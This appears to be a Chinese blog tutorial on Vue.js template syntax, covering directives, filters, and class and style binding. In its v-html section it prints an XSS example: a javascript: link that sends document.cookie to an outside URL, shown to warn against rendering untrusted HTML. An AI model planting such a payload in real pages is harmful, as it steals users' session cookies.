vue模板语法

模板语法

插值

{{…}} 文本插值：

<div id="app1">
    {{ myname }}
</div>

<script>
    var vm =  new Vue({
        el:"#app1", // element 
        data:{
            myname:"kerwin"
        }
    })   
</script>

v-html 输出 html 代码

<!-- v-html指令 负责dom解析 -->
<div v-html="myhtml"></div>

注：下面这种情况需要注意，不能使用v-html

new Vue({
    el: "#box",
    data: {
        dangerhtml: `<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>男人看了沉默,,,,</a>`
    }
})

因为使用v-html后会进行dom解析。所以应该使用{{ dangerhtml }}的方式

<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>男人看了沉默,,,,</a>

表达式

<div id="app1"> <!-- {{}}这里支持js表示式语法-->
    {{ 10 + 20 }}
    {{ ok ? 'YES' :'NO'}}
</div>

指令

v-bind 动态绑定属性

HTML 属性中的值应使用 v-bind 指令。

写法：v-bind : 属性名=”{‘属性值’：vue绑定的数据属性名}” 或者 v-bind:属性名=”{vue绑定的数据属性名}”

缩写：v-bind:属性名 => :属性名

例：v-bind:src =>:src

<!-- src ，style, class, value ,title, type..... -->
<img v-bind:src="imgpath" />

var vm= new Vue({
    el:"#box",
    data:{
  imgpath:"https://static.maizuo.com/pc/v5/usr/movie/c3a32bd973128a58d969836ea8e0120e.jpg"
    }
})

v-if 动态创建/删除

<!-- v-if 指令 动态创建和删除 -->
<div v-if="isCreated">我是动态创建和删除</div>

var vm= new Vue({
    el:"#box",
    data:{
        isCreated:true //当isCreated值为true的时候，页面对应的元素创建，isCreated值为false的时候，页面对应的元素删除
    }
})

v-show 动态显示/隐藏

<!-- v-show指令, 不会删除元素，元素会被设置成display:none-->
<div v-show="isShow">我是动态显示和隐藏</div>

var vm= new Vue({
    el:"#box",
    data:{
        isShow:true //当isShow值为true的时候，页面对应的元素显示，isShow值为false的时候，页面对应的元素隐藏
    }
})

v-on: 绑定事件

<!-- 添加绑定事件 写法：v-on:事件名字="方法名字" -->
<!-- 事件支持原生js下所有的事件，比如：click，input，change，blur，fouse 等等 -->
<button v-on:click="handleClick()">隐藏div</button>

var vm= new Vue({
    el:"#box",
    data:{
        isShow:true
    },
    methods:{ //事件定义写在methods选项下面,这样页面才可以进行引用
        handleClick(){
            this.isShow = false; 
        }
    }
})

v-for 遍历

<!-- v-for指令 for循环 -->
<!-- v-for加在标签A上，数组每循环一次，页面就会增加一个A标签元素 -->
<ul>
    <li>11111111</li>
    <li v-for="(item,index) in list">
        {{item}}------{{index}}
    </li>
    <li>22222222</li>
</ul>

var vm= new Vue({
    el:"#box",
    data:{
        list:["aaa","bbb","ccc","ddd","eee","fff"]
    }
})

v-model 双向绑定表单

<!-- v-model 双向表单绑定指令，用于表单元素 -->
<input type="text" v-model="mytext"/>

var vm= new Vue({
    el:"#box",
    data:{
        mytext:'wuhongtao'
    }
})

补充下：用v-model 指令进行绑定数据，checkbox返回的checkbox标签上value属性对应的值，没有value属性默认返回true/false；text类型返回的是输入框里的值；radio是radio标签上value属性对应的值；select对应选中的那个option标签上的value属性值。

v-bind和v-model区别

• v-bind是数据绑定，没有双向绑定效果，但不一定在表单元素上使用，任何有效元素上都可以使用；
• v-model是双向绑定，基本上只用在表单元素上；
• 当v-bind和v-model同时用在一个元素上时，它们各自的作用没变，但v-model优先级更高，而且需区分这个元素是单个的还是一组出现的。

过滤器

Vue.js 允许你自定义过滤器，被用作一些常见的文本格式化。由"管道符"指示, 格式如下。过滤器函数接受表达式的值作为第一个参数。

<!-- 在两个大括号中 -->
{{ message | capitalize }}

<!-- 在 v-bind 指令中 -->
<div v-bind:id="rawId | formatId"></div>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eNroIjbM-1616940712311)(file:///C:\Users\xujing\AppData\Local\Temp\ksohtml11024\wps3.jpg)]

过滤器可以进行串联，这里message作为filterA过滤器的参数，filterA执行完得到的结果作为filterB的参数。此时需要在filters{}里定义filterA，filterB两个方法：

{{ message | filterA | filterB }}

过滤器是 JavaScript 函数，因此可以接受参数，因此这里的filterA函数里有两个参数，分别是message，arg1

{{ message | filterA(‘arg1’) }}

缩写

<!-- v-on指令支持缩写 -->
<button v-on:click="handleClick()">click-完整</button>
<button @click="handleClick()">click-简写</button>

<!-- v-bind指令支持缩写 -->
<img v-bind:src="imgpath" />完整语法
<img :src="imgpath" />缩写

class 与 style

绑定HTML Class

1. 对象语法

   <style>
       .aa{
         background-color: red;
       }
       .bb{
         background-color: red;
       }
       .cc{
         background-color: red;
       }
   <style>
       
   <div :class="classstr">动态切换class -变量写法 - 1 </div>
   <div :class="classobj">动态切换class -对象写法 - 2 </div>
   

   var vm= new Vue({
       el:"#box",
       data:{
           classstr:"aa",
           classobj:{
             aa:true, //只要是true的都会加到class中 
             cc:false
           }
       }
   })
   

2. 数组语法

   <style>
       .aa{
         background-color: red;
       }
       .bb{
         background-color: red;
       }
   <style>
       
   <div :class="classarr">动态切换class -数组写法 - 3 </div>
   

   var vm= new Vue({
       el:"#box",
       data:{
           classarr:["aa","bb"]//数组中的样式都会加到class中 
       }
   })
   

绑定内联样式

1. 对象语法

   <div :style="styleobj">动态切换style-对象写法-1</div>
   

   var vm= new Vue({
       el:"#box",
       data:{
           styleobj:{
             backgroundColor:"yellow",
             fontSize:"20px"
           } 
       }
   })
   

2. 数组语法

   <div :style="stylearr">动态切换style-数组写法-2</div>
   

   var vm= new Vue({
       el:"#box",
       data:{
           stylearr:[
             {backgroundColor:"yellow"}
           ]
       }
   })
   

条件渲染

v-if

条件判断使用 v-if 指令, 在元素 和 template 中使用 v-if 指令。

<div v-if="isCreated">我是动态创建和删除</div>

v-else v-else-if

<div v-if=" score>85 "> 优秀 </div>
<div v-else-if=" score>=60 && score<85 "> 及格 </div>
<div v-else> 不及格 </div>

new Vue({
    el:"#box",
    data:{
        isCreated:true,
        score:50
    }
})

template v-if

template 就是一个包装元素, 不会真正创建在页面上。

<div id="box">
    <!-- 包装元素template不会被创建 -->
    <template v-if="isCreated">
        <div >111111</div>
    </template>
</div>

var vm = new Vue({
    el:"#box",
    data:{
        isCreated:true
    }
})

v-show

使用 v-show 指令根据条件展示元素： v-show 的元素会始终渲染并保持在 DOM 中。v-show 相当于给元素设置 CSS 属性 display，v-show 不支持 用法

<div v-show="isShow">我是动态显示和隐藏</div>